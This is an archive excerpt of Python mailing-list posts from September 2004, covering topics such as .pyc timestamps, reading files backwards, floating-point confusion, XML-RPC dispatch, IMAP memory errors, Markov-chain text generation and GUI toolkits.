http://docs.python.org/lib/module-urllib.html has the docs of
urlretrieve, and it's SO simple that I don't really see what "good
examples" one might provide.  A book that by design is full of examples
(hopefully good) is the Python Cookbook, which in the intro to Chapter
10 (Network Programming) gives a slightly richer example which downloads
several files with urllib.urlretrieve.
http://www.python9.org/p9-zadka.ppt may have some useful pointers,
perhaps. 

http://www.experts-exchange.com/Programming/Programming_Languages/Python
/Q_21048439.html has exactly the same question you asked, but you have
to "sign up" to see the solution (always the same one).


Alex


From eurleif at ecritters.biz  Mon Sep  6 19:37:15 2004
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Mon, 06 Sep 2004 19:37:15 -0400
Subject: Anyone know anything named DX? (was Re: Announcing PyCs)
In-Reply-To: <mailman.2945.1094509287.5135.python-list@python.org>
References: <20040901221925.2128958333.EP@zomething.com>
	<mailman.2945.1094509287.5135.python-list@python.org>
Message-ID: <2q4acqFr5etoU1@uni-berlin.de>

Mark Hahn wrote:
> Does anyone know of any conflicts for DX?  Any existing software projects?

I'd be willing to bet some people abbreviate DirectX's name as "DX".


From krylon at gmx.net  Sat Sep 25 06:10:14 2004
From: krylon at gmx.net (Benjamin Walkenhorst)
Date: Sat, 25 Sep 2004 12:10:14 +0200
Subject: Open Education in Python
In-Reply-To: <10l959t466bgde8@corp.supernews.com>
References: <10l959t466bgde8@corp.supernews.com>
Message-ID: <20040925121014.3c1c1ed6.krylon@gmx.net>

On Fri, 24 Sep 2004 14:43:29 -0700
Maboroshi <nobody at hotmail.com> wrote:

> This has not been entirely thought out as I am just putting the
> feelers out and want to see what the python community thinks about it.

I like the idea, I'd like to hear more about it.
I just hope this thing won't be exclusive towards hobbyist... =)

Kind regards,
Benjamin

-- 
If cars had improved at [the computer industry's] rate, a Rolls Royce
would now cost 10 dollars and get a billion miles per gallon.
(Unfortunately, it would probably also have 200-page manual telling how
to open the door.)
--
Andrew Tanenbaum, "Introduction To Distributed Systems"


From jeff at ccvcorp.com  Thu Sep  2 16:56:15 2004
From: jeff at ccvcorp.com (Jeff Shannon)
Date: Thu, 02 Sep 2004 13:56:15 -0700
Subject: .pyc files??
In-Reply-To: <5pGdnSW_EZQl6avcRVn-jg@powergate.ca>
References: <938a4680.0409011626.3b047658@posting.google.com>
	<mailman.2745.1094086722.5135.python-list@python.org>
	<5pGdnSW_EZQl6avcRVn-jg@powergate.ca>
Message-ID: <10jf24s8q1dgu89@corp.supernews.com>

Peter Hansen wrote:

> Jeremy Jones wrote:
>
>> This file contains compiled bytecode that the Python interpreter 
>> uses.  If, in your example, filea.pyc exists and its timestamp is 
>> newer than filea.py, then the interpreter uses filea.pyc without even 
>> attempting to recompile it (which saves the time spent compiling in 
>> subsequent runs).  If filea.pyc doesn't exist, or its timestamp is 
>> older than filea.py, the Python interpreter compiles filea.py to 
>> bytecode and writes it to filea.pyc (if it has permissions to do so).
>
>
> Minor nit-picking:  I'm fairly sure that the interpreter just compares
> the timestamp for equality, not for "earlier than".  I could be
> wrong, but I think it's a case of "if the .pyc embedded timestamp
> doesn't match the timestamp of the corresponding .py file exactly,
> then recompile the .pyc file".
>
> And a quick test at the command line appears to confirm this...


Really?  All my .pyc files are timestamped later than the .py file that 
they were generated from, but they don't seem to be recreated when I 
import the module...

[ach]$ ls -l *.py*
-rwxr-xr-x    1 pick     pick         1709 Aug  3 18:36 http_multipart.py
-rw-r--r--    1 pick     pick         2437 Aug  4 00:12 http_multipart.pyc
[ach]$ python
Python 2.2.2 (#1, Feb 24 2003, 19:13:11)
[GCC 3.2.2 20030222 (Red Hat Linux 3.2.2-4)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
 >>> import http_multipart
 >>>
[ach]$ ls -l *.py*
-rwxr-xr-x    1 pick     pick         1709 Aug  3 18:36 http_multipart.py
-rw-r--r--    1 pick     pick         2437 Aug  4 00:12 http_multipart.pyc
[ach]$

Jeff Shannon
Technician/Programmer
Credit International




From dyoo at hkn.eecs.berkeley.edu  Thu Sep 30 17:59:56 2004
From: dyoo at hkn.eecs.berkeley.edu (Daniel Yoo)
Date: Thu, 30 Sep 2004 21:59:56 +0000 (UTC)
Subject: Reading a text file backwards
References: <cjhqf2$9l1$1@news-int.gatech.edu>
	<cjhs0i$sab$1@charm.magnus.acs.ohio-state.edu>
Message-ID: <cjhvks$2s8d$1@agate.berkeley.edu>

Rick Holbert <holbertr at dma.org> wrote:
: Jay,

: Try this:

: myfile = open('myfile.txt', 'r')
: mylines = myfile.readlines()
: myfile.close()
: mylines.reverse()


Hi Rick,

But this probably won't work for Jay: he's running into memory issues
because the file's too large to hold in memory at once.  The point is
to avoid readlines().

Here's a generator that tries to iterate backwards across a file.  We
first get the file positions of each newline, and then afterwards
start going through the offsets.

###

def backfileiter(myfile):
    """Iterates the lines of a file, but in reverse order."""
    myfile.seek(0)
    offsets = _getLineOffsets(myfile)
    myfile.seek(0)
    offsets.reverse()
    for i in offsets:
        myfile.seek(i+1)
        yield myfile.readline()

def _getLineOffsets(myfile):
    """Return a list of offsets where newlines are located."""
    offsets = [-1]
    i = 0
    while True:
        byte = myfile.read(1)
        if not byte:
            break
        elif byte == '\n':
            offsets.append(i)
        i += 1
    return offsets
###



For example:

###    
>>> from StringIO import StringIO
>>> f = StringIO("""
... hello world
... this
... is a
... test""")

>>> f.seek(0)
>>> for line in backfileiter(f): print repr(line)
... 
'test'
'is a\n'
'this\n'
'hello world\n'
'\n'
###


Hope this helps!


From ykingma at accessforall.nl  Mon Sep 13 03:48:17 2004
From: ykingma at accessforall.nl (Ype Kingma)
Date: Mon, 13 Sep 2004 09:48:17 +0200
Subject: java
References: <6712b7e.0409102159.42cd71d4@posting.google.com>
	<slrncka231.g1g.davecook@david-cooks-computer.local>
Message-ID: <414550c1$0$65846$e4fe514c@dreader5.news.xs4all.nl>

David Cook wrote:

> On 2004-09-11, Demo <demobudda at yahoo.com> wrote:
> 
>> What computer science concepts can I learn from Java and not from Python?
> 
> Access control (e.g. private, public, protected).
> 
> There's also a certain pleasure in actually getting things to work in
Java,
> somewhat like the pleasure, I imagine, of building ships in bottles.

Yes, but these bottles are tidy.

Java's inner (sub)classes let you create an object of
another class, with a reference to the current object and
some (normally small) changes.
This allows to keep the definition of the other class tidy,
because there is no need to add features that will be
used in one place only.

And you can have anonymous inner classes, too.

Have fun,
Ype



From http  Sun Sep 19 06:14:22 2004
From: http (Paul Rubin)
Date: 19 Sep 2004 03:14:22 -0700
Subject: Math errors in python
References: <linok0tk1d0cftbh9092j31mpglj2petls@4ax.com>
	<mailman.3490.1095579571.5135.python-list@python.org>
	<70b3d.1822$uz1.747@trndny03>
	<mailman.3494.1095586574.5135.python-list@python.org>
Message-ID: <7xfz5ein0h.fsf@ruckus.brouhaha.com>

Gary Herron <gherron at islandtraining.com> writes:
> Any representation of the infinity of numbers on a finite computer
> *must* necessarily be unable to represent some (actually infinity
> many) of those numbers.  The inaccuracies stem from that fact.

Well, finite computers can't even represent all the integers, but 
we can reasonably think of Python as capable of doing exact integer
arithmetic. 

The issue here is that Python's behavior confuses the hell out of some
new users.  There is a separate area of confusion, that

   a = 2 / 3

sets a to 0, and to clear that up, the // operator was introduced and
Python 3.0 will supposedly treat / as floating-point division even
when both operands are integers.  That doesn't solve the also very
common confusion that (1.0/3.0)*3.0 = 0.99999999.  Rational arithmetic
can solve that.

Yes, with rational arithmetic, it will still be true that
sqrt(5.)**2.0 doesn't quite equal 5, but hardly anyone ever complains
about that.

And yes, there are languages that can do exact arithmetic on arbitrary
algebraic numbers, but they're normally not used for general-purpose
programming.


From m.h.3.9.1.without.dots.at.cam.ac.uk at example.com  Thu Sep 23 17:15:44 2004
From: m.h.3.9.1.without.dots.at.cam.ac.uk at example.com (Michael Hoffman)
Date: Thu, 23 Sep 2004 22:15:44 +0100
Subject: spliting a list by nth items
In-Reply-To: <mailman.3817.1095973176.5135.python-list@python.org>
References: <d11dcfba040923102543d2f7de@mail.gmail.com>
	<mailman.3817.1095973176.5135.python-list@python.org>
Message-ID: <civee2$pta$1@pegasus.csx.cam.ac.uk>

Ed Leafe wrote:

> nth_items = items[::n]
> non_nth_items = [item for item in items if not in nth_items]

Unfortunately, that only works if each item in items is unique. It's 
also somewhat inefficient since you traverse nth_items for each item in 
items.

 >>> n = 2
 >>> items = [5] * 5
 >>> nth_items = items[::n]
 >>> non_nth_items = [item for item in items if not in nth_items]
   File "<stdin>", line 1
     non_nth_items = [item for item in items if not in nth_items]
                                                     ^
SyntaxError: invalid syntax
 >>> # I think you meant:
 >>> non_nth_items = [item for item in items if item not in nth_items]
 >>> nth_items
[5, 5, 5]
 >>> non_nth_items
[]
--
Michael Hoffman


From opengeometry at yahoo.ca  Fri Sep 24 20:05:45 2004
From: opengeometry at yahoo.ca (William Park)
Date: 25 Sep 2004 00:05:45 GMT
Subject: POP3 Filter
References: <cj1o5001s78@enews4.newsguy.com>
Message-ID: <2rjr2oF1acb72U1@uni-berlin.de>

crystal1 <crystal1 at spamless.net> wrote:
> Not sure if this has been done...
> 
> Has anyone created a python script that listens on the default POP3 port
> for incoming mail, kills certain messages based on a criteria, and
> forwards the output to a non-standard port the POP3 server is listening on?
> 
> Upon recieving requests from a sender, the script would transparently
> forward traffic to the off port unless a violating condition is encountered.
> 
> I'd like to use the listening python script to check for a correct 'to:'
>   address format, attachment size limit, etc.
> 
> Before I waste too much time, do you think this is do-able?

I think you may be confused about SMTP and POP3.  

-- 
William Park <opengeometry at yahoo.ca>
Open Geometry Consulting, Toronto, Canada


From charlotte at fgm.com  Sun Sep 26 00:22:45 2004
From: charlotte at fgm.com (Charlotte Henkle)
Date: 25 Sep 2004 21:22:45 -0700
Subject: Counter for items in lists in lists?
References: <d4eff00b.0409242217.224f86ef@posting.google.com>
	<d4eff00b.0409251347.3cc02484@posting.google.com>
Message-ID: <d4eff00b.0409252022.2e41f1e4@posting.google.com>

> To make a long story longer, here's the code:

Whoops...Correction:

...#! /usr/bin/env python
...#Charlotte Henkle
...
...#A program to randomly fill a tennis schedule
...#
...#The original theory looked like this:
...#       gamePlayers=random.sample(templist, players_per_game)
...#       print gamePlayers
...#
...#But that didn't give a weighted list for extra games
...
...import random
...
...#Eventually these will get set dynamically
...number_of_weeks=10
...players=['a', 'b', 'c', 'd', 'e', 'f', 'g']
...games_per_week=2
...players_per_game=4
...games=number_of_weeks*games_per_week
...
...#this will be used to pull off "extra game" players
...backupList=players[:]
...random.shuffle(backupList)
...
...#a templist so we can modify it.
...templist=players[:]
...
...#our finished product:
...finishedList=[]
...
...while len(finishedList)!=games:
...        if len(templist)>=players_per_game:
...                gamePlayers=[]
...                while len(gamePlayers)!=players_per_game:
...                        randomNumber=random.randint(0,
len(templist)-1)
...                        potentialPlayer=templist.pop(randomNumber)
...                        gamePlayers.append(potentialPlayer) 
...                finishedList.append(gamePlayers)
...        else: 
...                gamePlayers=templist
...                print "I am the leftover game players", gamePlayers
...                print "I am the list of backup players", backupList
...                count=0
...                while len(gamePlayers)!=players_per_game:
...                        print "I am a potential player "
...                        potentialPlayer=backupList[count]
...                        print potentialPlayer   
...                        print "checking to see if I'm in the game"
...                        if potentialPlayer not in gamePlayers:
...                                print "I do not think the player is
in the game"
...                                print "I am the back-up list",
backupList
...                               
potentialPlayer=backupList.pop(count)
...                                gamePlayers.append(potentialPlayer)
...                                backupList.append(potentialPlayer)
...                               print "I am the back-up list after
reorder", backupList
...                                print "I am the gamePlayers after
test and insertion", gamePlayers
...                                        
...                        else: 
...                                print "I think that player is in
the game"
...                                count+=1
...                finishedList.append(gamePlayers)
...                templist=players[:]     
...
...#count the list (thank you, Steve!
...http://groups.google.com/groups?dq=&hl=en&lr=&ie=UTF-8&threadm=dI85d.47490%24wV.31831%40attbi_s54&prev=/groups%3Fq%3Dcomp.lang.python%26ie%3DUTF-8%26hl%3Den%26btnG%3DGoogle%2BSearch
...
...def count(item):
...     if not isinstance(item, list):
...             return {item:1}
...     counts = {}
...     for i in item:
...             for key, ct in count(i).items():
...                     counts[key] = counts.get(key, 0) + ct
...     return counts
...
...def printList(weeks, games, list):
...        x=0
...        y=0
...        index=0
...        while x!=weeks:
...                print "Week: ", x+1
...                y=0
...                while y<games:
...                        print "Game ",y+1, " players are ",
list[index]
...                        y+=1
...                        index+=1
...                x+=1
...
...#printing out and counting the final list
...
...printList(number_of_weeks, games_per_week, finishedList)
...print count(finishedList)


From kent at springfed.com  Fri Sep  3 23:00:23 2004
From: kent at springfed.com (Kent Tenney)
Date: Fri, 03 Sep 2004 22:00:23 -0500
Subject: list conversion question
Message-ID: <chbb47$ifn$1@sea.gmane.org>

Howdy,

I am using PIL, and would like to
make a list of the pixel values
in an image, sorted by quantity of
pixels with that value.

im.histogram() returns a list which
is a pixel count for each brightness value.

So, I want to sort the histogram, and have
the resulting list contain
the indexes instead of the counts.

This seems like it'd be a fairly common
task, but I don't know what to call
it to look for guidance.

Any help is appreciated.

Thanks,
Kent



From libonati at estudios-electricos.com.ar  Wed Sep 15 10:45:07 2004
From: libonati at estudios-electricos.com.ar (Fernando Libonati)
Date: Wed, 15 Sep 2004 11:45:07 -0300
Subject: Success Natively Compiling Python-2.3.4 in Mingw?
Message-ID: <003701c49b32$9a6532d0$0100a8c0@trinity>

Hello, after read your message I put hands on work and try to get
python2.3.4 sources compiled with DevC++4.9.9 and I've failed.

Could you explain a bit more especifically how to get the .dsp / .dsw files
into work?

Regards, Fernando



From jerf at jerf.org  Wed Sep  8 20:49:27 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Thu, 09 Sep 2004 00:49:27 GMT
Subject: container-indepentent iteration code ?
References: <10jv5ad1sjgep4d@corp.supernews.com>
	<pan.2004.09.08.19.46.06.74868@jerf.org>
	<10jv9ae988bbnb7@corp.supernews.com>
Message-ID: <pan.2004.09.08.20.49.38.913260@jerf.org>

On Wed, 08 Sep 2004 20:35:56 -0400, flacco wrote:
> i always want obj to be the value.  dicts, for example, yield keys 
> instead of values (i think?)...

Ah, that clarifies it for me. "Values" is a bit of an overloaded term. :-)

The problem you're running into here is that the "standard iterator" kind
of "defines" the "values" the container has. That's the only idea of
"default set of values in a container" that Python is going to understand. 

Thus, since the fundamental issue is a disagreement between you and Python
about what constitutes a "value" out of a dict (and as the human in this
transaction you are the right one :-) ), I don't see any way to avoid
explaining your idea to Python. You can make it convenient:

def values(iterable):
	if isinstance(iterable, dict):
		return iterable.itervalues()
	# Whatever other special cases you may need
	return iter(iterable)

for obj in values(container):
	# etc.

but there's no switch or anything that will do what you want. Sorry.
You're always going to have to explain what you mean by "whatever" to
Python.

Stepping up one meta-level, another possibility that you may consider is
creating some container classes that match whatever your heterogenous
containment needs are, then you can make *those* containers work naturally
without the function I showed above. Without knowing more about your
problem, I can't know if that is better in general.

Consider this:

class IterateGivesMeValues(dict):
	# It is quite likely your domain will give you a better
	# name :-)
	def __iter__(self):
		return self.itervalues()

igmv = IterateGivesMeValues()
igmv["key"] = "value"
for i in igmv:
	print i

will print "value" instead of "dict". If you build your structures out of
such objects your life may, or may not, be easier. 



From carribeiro at gmail.com  Sat Sep 25 00:21:35 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Sat, 25 Sep 2004 01:21:35 -0300
Subject: Why not FP for Money?
In-Reply-To: <10l9je9993jlfa3@corp.supernews.com>
References: <A128D751272CD411BC9200508BC2194D053C79D3@escpl.tcp.com.ar>
	<mailman.3872.1096056806.5135.python-list@python.org>
	<cj2ehb$h95$0$216.39.172.122@theriver.com>
	<mailman.3884.1096073978.5135.python-list@python.org>
	<10l9je9993jlfa3@corp.supernews.com>
Message-ID: <864d3709040924212159889838@mail.gmail.com>

On Fri, 24 Sep 2004 18:47:46 -0700, Jeff Shannon <jeff at ccvcorp.com> wrote:
> Personally,  I think that it makes the most sense (i.e., will result in
> the fewest surprises) if the greatest possible number of places is
> preserved.  If you truncate decimal places, then you might get this:

Your point is valid, specially for floating point decimal numbers. I
was thinking about the special case of money with 2 decimal places,
but that's far from a general situation as far as rounding is
concerned (despite the fact that money is probably the biggest
application for fixed point decimals). It only shows that we still
have lots of things to try and discuss before proposing something for
our BDFL to consider...


-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From skip at pobox.com  Thu Sep  2 15:46:40 2004
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 2 Sep 2004 14:46:40 -0500
Subject: Right way to define methods to SimpleXMLRPCServer?
Message-ID: <16695.30880.572520.172579@montanaro.dyndns.org>


I decided to use SimpleXMLRPCServer for an xml-rpc server.  As I understand
it, if I register an instance like so:

    myserver.register_instance(MyStuff())

then it will call MyStuff()._dispatch(name, *args, **kwds) to try and
execute the method.  Since _dispatch is generic, you can't really define a
more elaborate argument list.  I defined _dispatch like so:

    def _dispatch(self, name, *args, **kwds):
        print {"args": args, "kwds": kwds}
        try:
            meth = self._map[name]
        except KeyError:
            raise ValueError, "Invalid method: %s" % name
        else:
            return meth(self, *args, **kwds)

The **kwds parameter can probably be omitted since XML-RPC only supports
positional arguments.

When I call a method on the server with no args _dispatch is called, and the
server prints this:

    {'args': ((),), 'kwds': {}}

Seems to me like it has one nesting level too many in the args tuple.
Shouldn't it be ()?  Is this a bug or am I misinterpreting something?

Skip


From narshe at gmail.com  Fri Sep 24 10:58:22 2004
From: narshe at gmail.com (Josh Close)
Date: Fri, 24 Sep 2004 09:58:22 -0500
Subject: Python in a Nutshell for Python 2.4
In-Reply-To: <1gkl90k.amhv49fizafzN%aleaxit@yahoo.com>
References: <df045d93.0409221344.52d18be9@posting.google.com>
	<2Pt4d.5568$sa.2954@trndny05>
	<1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com>
	<mailman.3790.1095959172.5135.python-list@python.org>
	<1gkl90k.amhv49fizafzN%aleaxit@yahoo.com>
Message-ID: <4a0cafe2040924075861d4a345@mail.gmail.com>

On Thu, 23 Sep 2004 23:24:16 +0200, Alex Martelli <aleaxit at yahoo.com> wrote:
> The hardest part of writing the Nutshell was to decide what to include,
> or more precisely, what NOT to include, to make it as useful as possible
> within the 600-pages limit (I broke that limit, a bit, but not by much;
> it's 635 pages all told, I believe)
[snip]

I was just curious on your reason's behind it is all. Your nutshell
book is actually the only python book I own and I learned how to
program in python using it. I think it's very well written, just
curious why is all. Python.org does have all the modules docs anyone
could want also.

I've been meaning to pick up the cookbook also which I think you wrote
too...... I have a habbit of only buying O'Reilly books. I like their
layouts.

Thanks.

-Josh


From john_owens at yahoo.com  Tue Sep 14 15:19:10 2004
From: john_owens at yahoo.com (John Owens)
Date: 14 Sep 2004 12:19:10 -0700
Subject: IMAP4 example in docs causes memory error for me (OS X 10.3,
	python 2.3) - help?
Message-ID: <526fcee1.0409141119.5e31849d@posting.google.com>

I am running the IMAP4 example in the documentation:

http://www.python.org/doc/lib/imap4-example.html

with two small changes (different username, comment out print
statement). The inbox I am accessing is 42 MB and has 80-someodd
messages, so the messages are fairly big (all of them have
attachments). When I run this program, I get a malloc error. Now, I'm
really new to python programming, but it was my understanding that
memory management was not something I had to explicitly do. I'd
appreciate some help in understanding what I've done wrong.

If I watch memory usage via "top", the memory usage (vmem) goes up to
3.5 GB, drops back down to a few tens of megabytes, then rises to 3.5
GB or so again, then crashes. (Backtrace is appended at the end of
this message.) It seems odd to me that python should require GB of
memory to read a 40 MB mailbox.

I also installed python 2.3.3 via fink and was able to reproduce the
error in the same way.

Machine / python information:

[JDO:~/Documents/src/vm2imap] jowens% uname -a
Darwin JDO.local 7.5.0 Darwin Kernel Version 7.5.0: Thu Aug  5
19:26:16 PDT 2004; root:xnu/xnu-517.7.21.obj~3/RELEASE_PPC  Power
Macintosh powerpc
[JDO:~/Documents/src/vm2imap] jowens% python -V
Python 2.3.3

JDO

==

*** malloc: vm_allocate(size=7426048) failed (error code=3)
*** malloc[17319]: error: Can't allocate region
Traceback (most recent call last):
  File "minimal.py", line 8, in ?
    typ, data = M.fetch(num, '(RFC822)')
  File "/sw/lib/python2.3/imaplib.py", line 417, in fetch
    typ, dat = self._simple_command(name, message_set, message_parts)
  File "/sw/lib/python2.3/imaplib.py", line 1000, in _simple_command
    return self._command_complete(name, self._command(name, *args))
  File "/sw/lib/python2.3/imaplib.py", line 830, in _command_complete
    typ, data = self._get_tagged_response(tag)
  File "/sw/lib/python2.3/imaplib.py", line 931, in
_get_tagged_response
    self._get_response()
  File "/sw/lib/python2.3/imaplib.py", line 893, in _get_response
    data = self.read(size)
  File "/sw/lib/python2.3/imaplib.py", line 231, in read
    return self.file.read(size)
  File "/sw/lib/python2.3/socket.py", line 301, in read
    data = self._sock.recv(recv_size)
MemoryError


From carl.scharenberg at gmail.com  Fri Sep 10 09:05:27 2004
From: carl.scharenberg at gmail.com (Carl Scharenberg)
Date: 10 Sep 2004 06:05:27 -0700
Subject: YOU ALL SUCK!
References: <1bf5bcb9.15695836@aol.com>
	<Xns9558DF032E46ebohlmanomsdevcom@130.133.1.4>
	<e930c085.0409020529.2db830fc@posting.google.com>
	<Xns955FCC8E99C10RepublicPicturesLtd@216.221.81.119>
Message-ID: <e930c085.0409100505.37551a78@posting.google.com>

Tris Orendorff <triso at remove-me.cogeco.ca> wrote in message news:<Xns955FCC8E99C10RepublicPicturesLtd at 216.221.81.119>...
> carl.scharenberg at gmail.com (Carl Scharenberg) wrote in
> news:e930c085.0409020529.2db830fc at posting.google.com: 
> 
> 
> >> This seems to be of somewhat better quality than the output of the
> >> typical random-text generator.  Can anyone suggest something on CPAN
> >> useful for such?
> > 
> > You can do this by analyzing a sample text at a higher level. Instead
> > of generating text from the frequency of single letters, you generate
> > using the frequencies of 2, 3, or 4-letter sequences. You analyze a
> > large text so you have a database of frequencies. When generating each
> > new character you look at the frequences of the letters given that the
> > 3 previous letters are 'the'. The possibilities are a space, 'r'
> > (their), 'y' (they), and some others. Overall it will generate words
> > and even phrases that seem to almost make sense. It is neat stuff.
> 
> This is known as a Markov Chain and it works even better if you generate using words rather than letters.  
> Using letters creates words and non words.  The output is written in the same style as the input text.
> 
> 
> -- 
> Sincerely,
> 
> Tris Orendorff
> 
> -----BEGIN GEEK CODE BLOCK-----
> Version: 3.12
> GCS d++ s+:- a+ C+ UL++++ P+ L+ E- W+ N++ o- K++ w+ O+ M !V PS+ PE Y+ PGP t+ !5 X- R- tv--- b++ 
> DI++ D+ G++ e++ h---- r+++ y+++
> ------END GEEK CODE BLOCK------

Oh yes, now that you mentioned them, I remember studying Markov chains
in linear algebra, I think. I've also heard this called a histogram or
ngram, but I've never looked into the terminology at all. I have never
done this at the word level, because I was simulating randomly-typing
monkeys when I played with this. And for the monkeys I wanted letter
generation. I will have to play with word generation too, because it
just never occurred to me!  :-)


From thinmanj at gmail.com  Wed Sep  1 17:23:18 2004
From: thinmanj at gmail.com (=?ISO-8859-1?Q?Julio_O=F1a?=)
Date: Wed, 1 Sep 2004 17:23:18 -0400
Subject: negative stride list slices
In-Reply-To: <9LOdnaw-DsKUoavcRVn-vg@powergate.ca>
References: <8a638f47.0409010941.7f1cbbad@posting.google.com>
	<r7oZc.6653$MR2.32885@news1.mts.net> <2pmj4aFmofl2U1@uni-berlin.de>
	<evqZc.6862$MR2.33137@news1.mts.net>
	<9LOdnaw-DsKUoavcRVn-vg@powergate.ca>
Message-ID: <318a5f1a040901142310b94710@mail.gmail.com>

Slice has three arguments, [begin:end:step]

when doing s[:-3:-1] you are asking the las to elements of the list in
reversed order.

regards.

On Wed, 01 Sep 2004 17:15:51 -0400, Peter Hansen <peter at engcorp.com> wrote:
> Reid Nichol wrote:
> 
> > This was the part that I was refering to:
> >
> >  +---+---+---+---+---+
> >  | H | e | l | p | A |
> >  +---+---+---+---+---+
> >  0   1   2   3   4   5
> > -5  -4  -3  -2  -1
> >
> > Does it not all work the same in practice?
> 
> Can you explain how the above diagram explains David's
> example then:
> 
> >>> s = 'HelpA'
> >>> s[:-3:-1]
> 'Ap'
> 
> I don't find much connection between the diagram and
> where the -3 is actually slicing either.
> 
> -Peter
> 
> 
> --
> http://mail.python.org/mailman/listinfo/python-list
> 


-- 
Julio


From jerf at jerf.org  Thu Sep 16 13:42:15 2004
From: jerf at jerf.org (Jeremy Bowers)
Date: Thu, 16 Sep 2004 17:42:15 GMT
Subject: "Updating" lambda functions
References: <2qtl0oF139gn6U1@uni-berlin.de>
Message-ID: <pan.2004.09.17.11.13.08.494332@jerf.org>

On Thu, 16 Sep 2004 14:07:20 +0000, Oliver Fromme wrote:
> I need to "update" a lambda function, like this:

That says you need to use classes, not lambda functions.


From GoogleGroups at garringer.net  Fri Sep 17 11:59:33 2004
From: GoogleGroups at garringer.net (Roy)
Date: 17 Sep 2004 08:59:33 -0700
Subject: How to detect open windows applications
References: <82d4be71.0409160655.234749ab@posting.google.com>
	<cicqq6$kra$1@news-reader4.wanadoo.fr>
Message-ID: <82d4be71.0409170759.69e9c2f1@posting.google.com>

Michel Claveau - abstraction m?ta-galactique non trivial	e en fuite perp?tuelle. <unseulmcmcmcmc at msupprimerlepoint.claveauPOINTcom> wrote in message news:<cicqq6$kra$1 at news-reader4.wanadoo.fr>...
> Hi ! 
> 
> Search the process.
> 
> @-salutations

I found it! (I think)
Is the following code reasonable?
.....
import win32pdh

processes = win32pdh.EnumObjectItems(None, None, "Process", -1)
processList = list(processes[1])

app = 'WINWORD'
try:
    index = processList.index(app)
    print "Application %s is running." % app
except ValueError:
    print "Application %s is not running." % app
.....
I don't care about index, which indicates where it is in the process list.

Thank you for your help!


From steve at holdenweb.com  Mon Sep 27 20:09:03 2004
From: steve at holdenweb.com (Steve Holden)
Date: Mon, 27 Sep 2004 20:09:03 -0400
Subject: New to Python
In-Reply-To: <mailman.3981.1096326130.5135.python-list@python.org>
References: <338366A6D2E2CA4C9DAEAE652E12A1DE4A9007@au3010avexu1.global.avaya.com>	<mailman.3722.1095866933.5135.python-list@python.org>	<pan.2004.09.23.17.02.22.649109@jerf.org>	<poidnXQ3VpJ4V8zcRVn-qg@powergate.ca>	<mailman.3961.1096294506.5135.python-list@python.org>	<e7edndpKo-0upsXcRVn-qw@powergate.ca>	<42ugl0hu091vpb93qvpfcf8lmidkbnou0v@4ax.com>
	<mailman.3981.1096326130.5135.python-list@python.org>
Message-ID: <4158AB9F.7000008@holdenweb.com>

Ed Leafe wrote:

[...]

> 
>     Community is a very positive energy. Keep building it!
> 
Exactly the sentiment that led to the creation of PyCon.

regards
  Steve


From duncan.booth at invalid.invalid  Thu Sep 16 04:38:06 2004
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 16 Sep 2004 08:38:06 GMT
Subject: Incrementing a string
References: <pan.2004.09.15.22.08.19.894702@cox.net>
	<10ki53nd4vgfpff@corp.supernews.com>
Message-ID: <Xns956661707BF69duncanrcpcouk@127.0.0.1>

Jeffrey Froman wrote:

> import string
> 
> def strpp(s):
>     for i in s:
>         yield i
>     for i in strpp(s):
>         for j in s:
>             yield i + j
> 
> labels = strpp(string.lowercase)
> label = label.next() # ad infinitum
> 
> 

string.ascii_lowercase may be preferable here.


From aleaxit at yahoo.com  Tue Sep 14 14:27:04 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Tue, 14 Sep 2004 20:27:04 +0200
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com> <ci79v3$rh$1@atlantis.news.tpi.pl>
	<m3isag68uh.fsf@g2ctech.com>
Message-ID: <1gk4do8.5bj3kfi47gz5N%aleaxit@yahoo.com>

Jorge Godoy <godoy at ieee.org> wrote:
   ...
> > It says explicitly what toolkits are used. Don't you know how gtk2 looks
> > like?
> 
> Yes, I do, but I don't know how it is supposed to look like from this
> toolit perspective... If I wanted everything exactly like GTK2, I'd
> probably use it.

...and then it would look the same on a Mac, instead of a nice Aqua
lool, right...?

It seems to me that the point of PyGUI is ease of programming, rather
than look-and-feel, which are supposed to be native on each platform
(except no native win32 is supported yet, as far as I understand).


Alex


From ed at leafe.com  Sat Sep 25 21:58:38 2004
From: ed at leafe.com (Ed Leafe)
Date: Sat, 25 Sep 2004 21:58:38 -0400
Subject: up with PyGUI!
In-Reply-To: <864d370904092515311da67bb6@mail.gmail.com>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org>
	<2rhjmpF1at3kjU1@uni-berlin.de>
	<864d3709040924070115d9d98a@mail.gmail.com>
	<mailman.3855.1096035438.5135.python-list@python.org>
	<Xns956EDE04B1B03OKB@130.133.1.4>
	<mailman.3907.1096136449.5135.python-list@python.org>
	<Xns956F822D03E24OKB@130.133.1.4>
	<18A862E6-0F37-11D9-B926-003065B11E84@leafe.com>
	<864d370904092515311da67bb6@mail.gmail.com>
Message-ID: <95686D32-0F5F-11D9-B926-003065B11E84@leafe.com>

On Sep 25, 2004, at 6:31 PM, Carlos Ribeiro wrote:

> You are missing the point. There is an important difference between
> "imperative" and "declarative". Both are explicit -- the only thing
> that is implicit in the declarative version is the way the class
> declaration is going to be processed by the metaclass constructor.

	Sorry, but it just doesn't seem explicit to me. Defining a class 
doesn't mean instantiating one instance of a class at the place where 
the class is defined, but that seems to be exactly what your metaclass 
constructor does.

	Perhaps Python lacks the syntax - if it had an 'instance' keyword 
instead of forcing you to use 'class', it might be clearer.

> The same form description can
> be used with multiple target environments much easier than an
> imperative version. It isolates the description of what you want from
> the actual implementation for the target environment.

	Again, I don't see how it is any different. I can use either style 
with multiple targets, and add logic to either to get different effects 
in each environment.

> To some extent, the choice between declarative and imperative styles
> is a matter of personal taste.
	
	The impression that I am getting is that it's purely a matter of taste.

> But also, it's about how to model
